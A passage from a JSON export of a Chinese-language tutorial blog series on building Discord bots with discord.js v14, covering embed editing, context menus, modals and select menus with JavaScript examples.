EmbedBuilder()\n .setTitle('embed with image attachments')\n .setThumbnail('attachment://githubIcon.jpg')\n .setDescription('Github')\n await interaction.reply({ embeds: [embed], files: [githubIcon]});\n\n // 直接使用 JSON 描述一个 embed\n const embed2json = {\n title: 'A cup of coffee',\n image: {\n url: 'attachment://dogeCoffee.jpg',\n },\n };\n const embed2 = new EmbedBuilder(embed2json);\n await interaction.channel.send({ embeds: [embed2], files: [dogeCoffee]});\n\n // 把两个 embed 撺掇撺掇,组成个新的 embed\n const embed3 = new EmbedBuilder()\n .setTitle(embed.toJSON().title + embed2json.title)\n .setImage(embed2.toJSON().image.url)\n .setThumbnail(embed.toJSON().thumbnail.url)\n .setDescription(\"Ahhh\");\n await interaction.channel.send({ embeds: [embed3], files: [dogeCoffee, githubIcon]});\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e其中,\u003ccode\u003eassets/dogeCoffee.jpg\u003c/code\u003e:\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203858900-2012855056.jpg\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eassets/githubIcon.jpg\u003c/code\u003e:\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203905410-594641637.jpg\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203928080-1841871113.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e相关commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\nhttps://gitee.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\u003c/p\u003e\n\u003cp\u003e如果图像不是显示在嵌入内部而是显示在外部,请仔细检查你的语法以确保它如上所示。\u003c/p\u003e\n\u003ch3\u003eembed edit\u003c/h3\u003e\n\u003cp\u003e如果你需要将已回复的消息的 embed 做出修改并立即生效,你需要可以使用 message.edit()。\u003c/p\u003e\n\u003cp\u003e下面咱们来一块儿看看:\u003c/p\u003e\n\u003cp\u003e首先建立个斜杠命令,并搞个叫做 embed 的 embed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { EmbedBuilder, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('embededit')\n .setDescription('Replies with embed!'),\n async execute(interaction) {\n const infoLogoUrl = \"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSOsaJUWS9y-_JQWtIggodoouMyxM-lJyPa1Q\u0026amp;usqp=CAU\";\n\n // This EmbedBuilder() has to be inside a command or listener\n const embed = new EmbedBuilder()\n .setTitle('Resource Usage Panel')\n .setColor(0x955F20)\n .setThumbnail('https://i.imgur.com/rVtny54.jpeg')\n .setDescription('\\u200B')\n .addFields(\n { name: 'CPU Usage', value: '14 %', inline: true },\n { name: 'Memory Usage', value: '70 %', inline: true },\n )\n .setTimestamp()\n .setFooter({ text: 'Updated 0 second ago', iconURL: infoLogoUrl })\n\n await interaction.reply({ embeds: [embed], content: `${(new Date()).toISOString()}` });\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203951267-240113733.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e接着,我们利用之前在 “Chapter 12 - 按钮” 学到的 message collector 对我们刚 \u003ccode\u003einteraction.reply()\u003c/code\u003e 回复的消息进行捕获,并保存到 message 变量里:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n // 生成 2 到 9 闭区间内的一个整数作为随机数\n // 这里生成随机数用于程序暂停执行 x 秒\n let time = 2 + Math.floor(8 * Math.random());\n await wait(time * 1000);\n\n // 捕获我们刚回复的消息\n const message = await interaction.fetchReply();\n\n // 将 message 的第一个 embed(embed[0])复制一份作为模板\n const receivedEmbed = message.embeds[0];\n // 这里 EmbedBuilder.from() 接受一个 JSON 对象或 Embed 类型值\n // 由于 EmbedBuilder() 构造出来的 embed 都是 immutable 不可修改的值,因此我们不能在原 embed 上做修改,只好以原 embed 为底子,在新 embed 上面做出修改。\n const newEmbed = EmbedBuilder.from(receivedEmbed)\n .setFields(\n { name: 'CPU Usage', value: `${Math.floor(100 * Math.random())} %`, inline: true },\n { name: 'Memory Usage', value: `${Math.floor(100 * Math.random())} %`, inline: true },\n )\n .setFooter({ text: `Updated ${time} seconds ago`, iconURL: infoLogoUrl });\n\n // 直接调用 message.edit() 来修改我们这条消息并生效,无需多余的 interaction.editReply()\n await message.edit({ embeds: [newEmbed], content: `${(new Date()).toISOString()}` })\n\n\n // 再次生成 2 到 9 的随机整数\n time = 2 + Math.floor(8 * Math.random());\n await wait(time * 1000);\n\n // 再次从已有的 embed 构建一个新 embed,省事\n const newEmbed2 = EmbedBuilder.from(newEmbed)\n .setDescription(\"Connection lost\")\n .setFields(\n { name: 'CPU Usage', value: `N/A`, inline: true },\n { name: 'Memory Usage', value: `N/A`, inline: true },\n )\n .setFooter({ text: `Updated ${time} seconds ago`, iconURL: infoLogoUrl });\n\n // 直接删除斜杠命令回复的那条 message,然后直接在相同的频道里发一条新的消息\n await interaction.deleteReply();\n await interaction.channel.send({ embeds: [newEmbed2], content: `${(new Date()).toISOString()}` });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e把上面两端代码 拼接在一块儿,就是 \u003ccode\u003ecommands/embeds/embedEdit.js\u003c/code\u003e 的完整代码,相关 commit:\u003c/p\u003e\n\u003cp\u003ehttps://github.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\nhttps://gitee.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\u003c/p\u003e\n\u003cp\u003e完整效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110204059777-1674192226.png\" alt=\"image\" /\u003e\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110204104458-6997804.png\" alt=\"image\" /\u003e\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110204109749-457999174.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e补充\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e在 embed 里,你可以 @ 用户或身份组,但是这不会触发任何 @ 的提醒。\u003c/li\u003e\n\u003cli\u003e任何在 embed 里的 @ 只能在 description 和 field 的 value 里被正确渲染,否则就会被渲染成普通文字(@加snowflake id)。\u003c/li\u003e\n\u003cli\u003eembed 允许 masked links,比如 \u003ccode\u003e[我的博客](https://cnblogs.com/hhzm '可选的悬浮文字')\u003c/code\u003e ,但这也只允许出现在 description 和 field 的 value 里。\u003c/li\u003e\n\u003cli\u003etimestamp 的值是 ISO8601 标准值(GMT+0),但是 Discord 会根据客户端时区,展示时区转换后的时间。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e小结\u003c/h3\u003e\n\u003cp\u003e我学习了 Embed。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-13/"},{"title":"Bot in Discord with discord.js (12)","time":"2022-11-24T00:00:00Z","content":"\u003cp\u003e本文 Discord.js 版本 v14.7.1\u003c/p\u003e\n\u003ch2\u003eChapter 15 - 交互四大组件之:上下文菜单 Context Menu\u003c/h2\u003e\n\u003cp\u003e上下文菜单(Context Menu),又称为 App Command。使用它,不需要用户显式的输入斜杠 / ,但是后台逻辑方面,和斜杠命令的函数方法基本一致。\u003c/p\u003e\n\u003cp\u003e上下文菜单交互(ContextMenuInteraction),分为 “用户上下文菜单交互”(UserContextMenuInteraction)和 “消息上下文菜单交互”(MessageContextMenuInteraction)。二者的使用方式不一样。\u003c/p\u003e\n\u003ch3\u003e用户端使用 ContextMenu 的方法\u003c/h3\u003e\n\u003ch4\u003e对于 UserContextMenu\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAndroid 和 iOS APP 端:点击某个(已注册部署上下文菜单的)机器人的头像,打开机器人个人资料。划到下面,找到菜单栏 \u003ccode\u003eBOT - APP\u003c/code\u003e,点开它,就能显示出这个机器人所有的 \u003cstrong\u003eUserContextMenu\u003c/strong\u003e。注意是只是 UserContextMenu,不包括该机器人的 MessageContextMenu。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePC 端和浏览器端:点开机器人的个人资料是找不到入口的。鼠标右击机器人头像,在 \u003ccode\u003eAPP\u003c/code\u003e 选项卡里,存放了该机器人的所有 \u003cstrong\u003eUserContextMenu\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e对于 MessageContextMenu\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAndroid 和 iOS APP 端:长按频道内某条消息,呼出消息选项浮页。在 \u003ccode\u003eAPP\u003c/code\u003e 选项卡内,有着所有拥有该频道访问权的\u003cstrong\u003e所有\u003c/strong\u003e机器人的 \u003cstrong\u003eMessageContextMenu\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePC 端和浏览器端:鼠标右击频道里的一条消息,在 \u003ccode\u003eAPP\u003c/code\u003e 选项卡里,有着所有拥有该频道访问权的\u003cstrong\u003e所有\u003c/strong\u003e机器人的 \u003cstrong\u003eMessageContextMenu\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e这次我们要修改的变多了,为了方便,你可以来我的 Github 代码仓库查看详细变动:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/wtflmao/discord_bot_example/commit/945aa14a72637436a73c974775dfb0411b7a4ec7\"\u003ehttps://github.com/wtflmao/discord_bot_example/commit/945aa14a72637436a73c974775dfb0411b7a4ec7\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e不要删除\u003c/strong\u003e \u003ccode\u003eisChatInputCommand()\u003c/code\u003e 分支的一行代码:\u003ccode\u003eawait command.execute(interaction);\u003c/code\u003e。(commmit 里我误删除了,我的锅)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e不要删除\u003c/strong\u003e \u003ccode\u003eisAutocomplete()\u003c/code\u003e 分支的一行代码:\u003ccode\u003eawait command.execute(interaction);\u003c/code\u003e。(commmit 里我误删除了,我的锅)\u003c/li\u003e\n\u003cli\u003e在最后一个 else 分支前,\u003cstrong\u003e添加\u003c/strong\u003e一个 else if 分支:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003e\telse if (interaction.isContextMenuCommand()) {\n\t\tif (interaction.isUserContextMenuCommand()) {\n\t\t\tconsole.log(\"an APP command(user)!\");\n\t\t} else if (interaction.isMessageContextMenuCommand()) {\n\t\t\tconsole.log(\"an APP command(message)!\");\n\t\t} else {\n\t\t\t// not an APP command\n\t\t}\n\t\tconst command = interaction.client.commands.get(interaction.commandName);\n\t\tawait command.execute(interaction);\n\t}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e新建一个 ContextMenu\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003econst { ContextMenuCommandBuilder, ApplicationCommandType } = require('discord.js');\n\nmodule.exports = {\n data: new ContextMenuCommandBuilder()\n\t // 设置外显名称\n .setName('Boom')\n // 设置上下文菜单的类型\n // ContextMenuCommandsBuilder.setType 有两种有效枚举值:\n // ApplicationCommandType.Message 和 ApplicationCommandType.User\n .setType(ApplicationCommandType.Message),\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e举例:一个重复消息内容的 MessageContextMenu\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003ecommands/contextMenus/contextBoom.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ContextMenuCommandBuilder, ApplicationCommandType } = require('discord.js');\n\nmodule.exports = {\n data: new ContextMenuCommandBuilder()\n\t // 设置外显名称\n .setName('Boom')\n // 设置上下文菜单的类型\n // ContextMenuCommandsBuilder.setType 有两种有效枚举值:\n // ApplicationCommandType.Message 和 ApplicationCommandType.User\n .setType(ApplicationCommandType.Message),\n async execute(interaction) {\n // 这里 interaction 的类型是 ContextMenuInteraction,同时,也是 UserContextMenuInteraction\n // UserContextMenuInteraction 有一个属性叫 \".targetId\", 它是此交互目标的 Discord snowflake id,这里(Message菜单)的话,指的是 Message 的 id\n // 我们用 interaction.channel.messages.fetch(interaction.targetId)) 来凭借消息 id 来获取消息本体\n // 然后通过抓取来的消息本体,获取消息的内容(content),存到 targetMsgContent\n const targetMsgContent = (await interaction.channel.messages.fetch(interaction.targetId)).content;\n await interaction.reply(`Boom! ${targetMsgContent}`);\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e对消息 \"owowowowowowo amogus\" 使用 Boom:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124234847937-1692039601.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235121946-87066396.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e举例:一个显示指定用户注册时间的 UserContextMenu\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003ecommands/contextMenus/conetxtUserInfo.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ContextMenuCommandBuilder, ApplicationCommandType } = require('discord.js');\n// DISCORD_EPOCH 是个常数, 指的是 2015 年的第一毫秒,是以毫秒为单位的 UNIX 时间戳\nconst DISCORD_EPOCH = 1420070400000;\n\nmodule.exports = {\n data: new ContextMenuCommandBuilder()\n\t // 设置外显名称\n .setName('User Information')\n // 设置上下文菜单的类型\n // ContextMenuCommandsBuilder.setType 有两种有效枚举值:\n // ApplicationCommandType.Message 和 ApplicationCommandType.User\n .setType(ApplicationCommandType.User),\n async execute(interaction) {\n // Discord snowflake 类型值是一个 64 位的整数。在实践中,我们用字符串来存储。\n // 我们把 snowflake 类型的 interaction.targetId 强制类型转换成 JS 内置的 BigInt 类型\n // Discord snowflake 的高 42 位叫 “相对时间戳”\n // “相对” 指的是自 DISCORD_EPOCH 以来,过去了多少毫秒了\n // 64 位中,剩余的低 22 位和我们的时间戳无关,丢弃就好\n const milliseconds = BigInt(interaction.targetId) \u0026gt;\u0026gt; BigInt(22);\n // 把 DISCORD EPOCH 和 “相对时间戳” 相加,就得到真正的 UNIX 时间戳,以毫秒为单位\n // 再把这个时间戳转换成本地时区的人类可读的时间字符串\n let date = new Date(Number(milliseconds) + DISCORD_EPOCH)\n await interaction.reply(`${interaction.targetUser.username}#${interaction.targetUser.discriminator} @ ${date}`);\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们对机器人自己使用 UserInfo 效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235149626-1654633347.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124234718832-1759398084.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e例子:把 Modal 和 ContextMenu 柔到一起:反馈功能\u003c/h3\u003e\n\u003cp\u003e下面的代码就是上面两段程序的糅合,注释解释的很清晰,故看代码注释就行。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/contextMenus/contextFeedback.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ContextMenuCommandBuilder, ApplicationCommandType, ModalBuilder, TextInputBuilder, TextInputStyle, ActionRowBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new ContextMenuCommandBuilder()\n .setName('Bot Feedback')\n // There are two available options for the .type of ContextMenuCommandsBuilder\n // ApplicationCommandType.Message and ApplicationCommandType.User\n .setType(ApplicationCommandType.User),\n async execute(interaction) {\n\n // We use interaction.client.users.cache.find() to get a User by its id\n const botInstance = interaction.client.users.cache.find(user =\u0026gt; user.id === interaction.applicationId);\n\n // Create a new Modal\n const modal = new ModalBuilder()\n .setCustomId('feedbackModal')\n // username#discriminator be like: Elon#0001\n .setTitle(`Bot Feedback for ${botInstance.username}#${botInstance.discriminator}`);\n\n // Add components to modal...\n // Create the text input components\n const starsInput = new TextInputBuilder()\n .setCustomId('starsInput')\n // The label is the prompt the user sees for this input\n .setLabel(\"Please rate us from 1 star to 5 stars!\")\n // Short means only a single line of text\n // TextInputStyle only have two members: .Short and .Paragraph\n .setStyle(TextInputStyle.Short)\n // Set required\n .setRequired(true)\n .setMinLength(1)\n .setMaxLength(1);\n\n const feedbackInput = new TextInputBuilder()\n .setCustomId('feedbackInput')\n .setLabel(\"What's your feedback?\")\n // Paragraph means multiple lines of text.\n .setStyle(TextInputStyle.Paragraph)\n // Set required\n .setRequired(false);\n\n // An action row only holds one text input,\n // so you need one action row per text input.\n const firstActionRow = new ActionRowBuilder().addComponents(starsInput);\n const secondActionRow = new ActionRowBuilder().addComponents(feedbackInput);\n\n // Add inputs to the modal\n modal.addComponents(firstActionRow, secondActionRow);\n\n // Show the modal to the user\n // Showing a modal must be the first response to an interaction.\n // You cannot defer() or deferUpdate() then show a modal later.\n await interaction.showModal(modal);\n\n\n // Get the ModalSubmitInteraction that is emitted once the User submits the Modal\n const submitted = await interaction.awaitModalSubmit({\n // Timeout after a minute of not receiving any valid Modals\n time: 600 * 1000,\n // Make sure we only accept Modals from the User who sent the original Interaction we're responding to\n filter: i =\u0026gt; {\n if (i.user.id === interaction.user.id \u0026amp;\u0026amp; i.customId === 'feedbackModal') {\n return true;\n }},\n }).catch(error =\u0026gt; {\n // Catch any Errors that are thrown (e.g. if the awaitModalSubmit times out)\n console.error(error)\n return null\n })\n\n // If we got our Modal, we can do whatever we want with it down here.\n // Remember that the Modal can have multiple Action Rows, but each Action Row can have only one TextInputComponent.\n // You can use the ModalSubmitInteraction.fields helper property to get the value of an input field from its Custom ID.\n if (submitted) {\n // Get the data entered by the user\n const stars = submitted.fields.getTextInputValue('starsInput');\n const feedback = submitted.fields.getTextInputValue('feedbackInput');\n // We use console.log() to display the feedbacks\n console.log(`FeedBack {@${interaction.user.id}, ${stars}, ${feedback}}`);\n // Acknowledge the user that the feedback submitted successfully\n await submitted.reply({\n content: `We've got your feedback. Thanks for your time and honesty.`,\n // We don't want other people see somebody sent a feedback, so set ephemeral field to true\n ephemeral: true\n })\n }\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235149626-1654633347.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235246130-908300400.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235256218-1399752437.png\" alt=\"image\" /\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-12/"},{"title":"Bot in Discord with discord.js (11)","time":"2022-11-23T00:00:00Z","content":"\u003ch2\u003eChapter 14 - 交互四大组件之:表单 Modal\u003c/h2\u003e\n\u003cp\u003e建议你先学习上上一章的按钮,再来学习这章的 Modal,因为上一章已经比较详细地介绍了 MessageComponentCollector,虽然上一章的 MessageComponentCollector 在本章的 Modal 用不了,但是仍具有借鉴意义。\u003c/p\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e在文件的最后那块儿附近,找到最后一个 else,在这个 else 上面插入一种新情况,用于 Modal:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eelse if (interaction.isChatInputCommand()) {\n\tconsole.log(\"a modal!\");\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eModal\u003c/h3\u003e\n\u003cp\u003eModal 可以让你的机器人弹出一个表单,用户可以通过这个表单为你提供格式化的输入。\u003c/p\u003e\n\u003cp\u003e与消息组件(Message Component)不同,Modal 本身并不是严格意义上的组件。它们是用于响应交互的回调结构。\u003c/p\u003e\n\u003cp\u003e每个 ModalBuilder 最多可以有五个 ActionRowBuilder,一个 ActionRowBuilder 中最多可以有一个 TextInputBuilder。目前,你不能在 Modal row 中使用 SelectMenuBuilders 或 ButtonBuilders。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e提前说明一点,\u003ccode\u003eModalSubmitInteraction\u003c/code\u003e 不属于 \u003ccode\u003eMessageComponentInteraction\u003c/code\u003e,而 \u003ccode\u003eButtonInteraction\u003c/code\u003e 和 \u003ccode\u003eSelectMenuInteraction\u003c/code\u003e 属于 \u003ccode\u003eMessageComponentInteraction\u003c/code\u003e,这一点可能会让你感到奇怪。\u003ccode\u003eModalSubmitInteraction\u003c/code\u003e 和 \u003ccode\u003eMessageComponentInteraction\u003c/code\u003e 都直接继承自 \u003ccode\u003eBaseInteraction\u003c/code\u003e,而区别是前者(Modal那个)还实现(implement)了 \u003ccode\u003eInteractionResponses\u003c/code\u003e。初学者在搞 Modal 的收集器时,很容易按照之前搞按钮和下拉菜单的经验,把收集器代码搬过来改一下就用,然鹅这是错的。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e创建一个 Modal\u003c/h3\u003e\n\u003cp\u003e我们至少需要用到 discord.js 的 ModalBuilder 来建立一个 Modal 值。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events, ModalBuilder } = require('discord.js');\n\nconst modal = new ModalBuilder()\n\t.setCustomId('myModal')\n\t.setTitle('My Modal');\n\n\t// TODO: Add components to modal...\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e需要指出的是,customId 是一个由程序员指定的长度不超过 100 字符的字符串。尽量不要让它们的 customId 与其他交互组件的 customId 重复,从而让 filter 更轻松地工作。\u003c/p\u003e\n\u003cp\u003e目前我们至少建立了一个空表单,什么输入域都没有指定。\u003c/p\u003e\n\u003cp\u003e下面,我们将建立一个完整的 Modal,具备完整的展示 Modal 和收集数据并响应功能。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/modals/modal.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ModalBuilder, SlashCommandBuilder, TextInputBuilder, TextInputStyle } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('modal')\n .setDescription('Replies with a pop-up form!'),\n async execute(interaction) {\n\n const modal = new ModalBuilder()\n .setCustomId('myModal')\n .setTitle('My Modal');\n\n // 向交互组件里添加一个 Modal\n // 创建文本输入域\n const favoriteColorInput = new TextInputBuilder()\n .setCustomId('favoriteColorInput')\n // Label 是用户看到的有关该域 的提示语,用来告诉用户这里是该填什么的\n .setLabel(\"What's your favorite color?\")\n // \"Short\" 意味着该域接受一行文本输入\n // TextInputStyle 只有两种值: .Short 和 .Paragraph\n .setStyle(TextInputStyle.Short)\n // .SetRequired(true) 意味着该文本域必填\n .setRequired(true)\n // 为该文本域设置一个占位符,占位符不是预先写好的值\n .setPlaceholder(\"Blurple\");\n\n const hobbiesInput = new TextInputBuilder()\n .setCustomId('hobbiesInput')\n .setLabel(\"What's some of your favorite hobbies?\")\n // \"Paragraph\" 意味着该域是个大文本框,接受多行输入\n .setStyle(TextInputStyle.Paragraph)\n // 设置该域必填\n .setRequired(false)\n // 为该域设置一个预先写好的值,不是占位符\n .setValue(\"Touching grass outside occasionally.\")\n\n const numberInput = new TextInputBuilder()\n .setCustomId('numberInput')\n .setLabel (\"Which year did you first use Discord?\")\n .setStyle(TextInputStyle.Short)\n .setRequired(true)\n .setPlaceholder(\"2022\")\n // 设置文本最小长度\n .setMinLength(4)\n // 设置文本最大长度\n .setMaxLength(4);\n\n // 一个 ActionRow 只能拥有一个 TextInput,\n // 所以你需要三个 ActionRow 来维护三个 TextInput\n const firstActionRow = new ActionRowBuilder().addComponents(favoriteColorInput);\n const secondActionRow = new ActionRowBuilder().addComponents(hobbiesInput);\n const thirdActionRow = new ActionRowBuilder().addComponents(numberInput);\n\n // 为表单 Modal 添加三个 ActionRow 组件\n modal.addComponents(firstActionRow, secondActionRow, thirdActionRow);\n\n // 向执行斜杠命令的用户展示 Modal\n // interaction.interaction.showModal(modal) 必须是斜杠命令的第一条回复,而不能是 .reply()\n // 你甚至不能 .defer() 或者 .deferUpdate(),第一条必须是 .showModal()。\n await interaction.showModal(modal);\n\n\n // 一旦用户提交了填写完了的 Modal,我们就抓取这个 ModalSubmitInteraction\n const submitted = await interaction.awaitModalSubmit({\n // 为有效 Modal 的填写设置超时 60000 毫秒,即 60 秒\n time: 60000,\n // 确保我们的 Modal 填写者是最初发起斜杠命令的那个人\n filter: i =\u0026gt; {\n if (i.user.id === interaction.user.id \u0026amp;\u0026amp; i.customId === 'myModal') {\n return true;\n }},\n }).catch(error =\u0026gt; {\n // 捕获任何抛出的 error (e.g. awaitModalSubmit 60 秒后 超时了)\n console.error(error)\n return null\n })\n\n // 只要我们获取到了有效提交的 Modal,我们就能干我们该干的事了\n // 记住,一份 Modal 可以具有多个 ActionRow,而一个 ActionRow 只有一个 TextInputComponent。\n // 你可以使用 ModalSubmitInteraction.fields 再凭借 customId 来获取用户在某个文本域输入的值\n if (submitted) {\n // 提取用户输入的数据\n const favoriteColor = submitted.fields.getTextInputValue('favoriteColorInput');\n const hobbies = submitted.fields.getTextInputValue('hobbiesInput');\n const number = submitted.fields.getTextInputValue('numberInput');\n console.log({ favoriteColor, hobbies, number });\n await submitted.reply({\n content: `Your fav color is ${favoriteColor}, you like ${hobbies}, you claimed that you registered Discord in ${number}.`\n })\n }\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图(第一次执行斜杠命令时):\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221123184542359-722808485.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221123184603579-197508538.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e有一点需要说明的是,在本例中,第三个输入域向用户说明了需要输入长度为 4 的年份,正常人可能会输入“2022”、“2021”、“2020”之类的。事实上,“2077”、“abcd” 都是合法的输入,你需要进一步对该域的用户输入进行处理。\u003c/p\u003e\n\u003ch3\u003e对 \u003ccode\u003eModalSubmitInteraction\u003c/code\u003e 的其他操作\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ereply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eeditReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeferReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efetchReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeleteReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efollowUp()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e上面已经提到过,ModalSubmitInteraction 不属于 MessageComponentInetraction,而属于 ChatInputCommandInteraction。\u003c/p\u003e\n\u003cp\u003e如果如果 Modal 是从 ButtonInteraction 或 SelectMenuInteraction 显示的,它还将还有这些方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eupdate()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeferUpdate()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-11/"},{"title":"Bot in Discord with discord.js (10)","time":"2022-11-21T00:00:00Z","content":"\u003ch3\u003e注意\u003c/h3\u003e\n\u003cp\u003e本文起,项目已从 Discord.js v14.6.0 更新至 v14.7.1。\u003c/p\u003e\n\u003cp\u003e你可以在项目目录中执行 \u003ccode\u003enpm install discord.js@v14.7.1\u003c/code\u003e 来更新依赖。\u003c/p\u003e\n\u003ch2\u003eChapter 13 - 交互四大组件之:下拉菜单 Select Menu\u003c/h2\u003e\n\u003cp\u003e建议你先学习上一章的按钮,再来学习这章的下拉菜单,因为上一章已经比较详细地介绍了 MessageComponentCollector,这里不会重复介绍。\u003c/p\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e在文件的最后那块儿附近,找到最后一个 else,在这个 else 上面插入一种新情况,用于下拉菜单:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\nelse if (interaction.isStringSelectMenu()) {\n\tconsole.log(\"a string select menu!\");\n} else if (interaction.isUserSelectMenu()) {\n\tconsole.log(\"a user select menu!\");\n} else if (interaction.isRoleSelectMenu()) {\n\tconsole.log(\"a role select menu!\");\n} else if (interaction.isChannelSelectMenu()) {\n\tconsole.log(\"a channel select menu!\");\n} else if 